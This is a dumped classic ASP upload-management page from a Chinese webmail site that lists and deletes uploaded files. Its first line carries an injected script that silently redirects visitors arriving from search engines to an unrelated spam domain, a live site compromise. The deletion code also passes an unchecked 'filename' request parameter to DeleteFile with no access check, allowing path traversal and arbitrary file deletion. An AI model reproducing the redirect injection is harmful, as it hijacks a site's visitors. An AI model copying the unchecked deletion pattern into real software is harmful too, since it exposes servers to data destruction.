d:\wwwroot\wuchunhua\mail\uploadlist.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002:
<head>
003:
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
004:
<meta name="ProgId" content="FrontPage.Editor.Document">
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<title>上传附件管理</title>
007:
<base target="_self">
008:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
009:
</head>
010:
011:
<body background="pic/bg.gif" leftmargin="120">
012:
<p align="center"><font size="3" color="#0000FF"><b>浏览上传文件</b></font><BR><BR>本功能必须服务器支持FSO权限方能使用，FSO使用帮助请浏览微软网站。<BR>文件目录为upload，如果您服务器不支持FSO请手动管理。</p>
013:
<ul>
014:
<%
015:
dim objFSO
016:
dim uploadfolder
017:
dim uploadfiles
018:
dim upname
019:
dim upfilename
020:
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
021:
if request("filename")<>"" then
022:
objFSO.DeleteFile(Server.MapPath("upload\"&request("filename")))
023:
end if
024:
Set uploadFolder=objFSO.GetFolder(Server.MapPath("upload\"))
025:
Set uploadFiles=uploadFolder.Files
026:
For Each Upname In uploadFiles
027:
upfilename="upload/"&upname.name
028:
response.write "<li><a href="""&upfilename&""">"&upfilename&"</a> <a href='?filename="&upname.name&"'><img src=pic/delete.gif align=absmiddle border=0>删除</a></li>"
029:
next
030:
set uploadFolder=nothing
031:
set uploadFiles=nothing
032:
%
>
033:
<p align="center">
<!--#include file="pic/foot.htm"-->
</p>
034:
</body>
035:
</html>
036:
037: